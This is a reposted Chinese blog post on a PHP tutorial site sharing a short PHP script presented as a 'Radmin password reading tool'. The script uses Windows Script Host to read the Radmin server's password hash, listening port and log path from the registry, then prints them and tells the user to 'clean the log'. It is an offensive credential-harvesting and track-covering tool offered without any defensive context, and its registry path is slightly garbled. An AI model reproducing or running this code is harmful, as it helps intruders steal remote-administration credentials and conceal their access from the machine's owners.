>  기사  >  php教程  >  Radmin密码读取工具(php版)

Radmin密码读取工具(php版)

WBOY
WBOY원래의
2016-06-13 10:33:451646검색

孤水绕城’s Blog

应小猪大锅的要求写的一个脚本。很垃圾但是还算有用吧。

$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");
$rootkey = "HKEY_LOCAL_MACHINE\SYSTEMRAdmin\v2.0\Server\Parameters\";
$Parameter = "Parameter";
$Port = "Port";
$logpath = "LogFilePath";
$myparam = $shell->RegRead($rootkey.$Parameter);
$myport = $shell->RegRead($rootkey.$Port);
$path = $shell->RegRead($rootkey.$logpath);
echo "radmin hash is:";
foreach($myparam as $a){
echo dechex($a);
}
echo "
";
echo "radmin port is :".hexdec(dechex($myport[1]).dechex($myport[0]))."
";
echo "radmin log path is:$path
";
echo "please clean the log"
?>

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.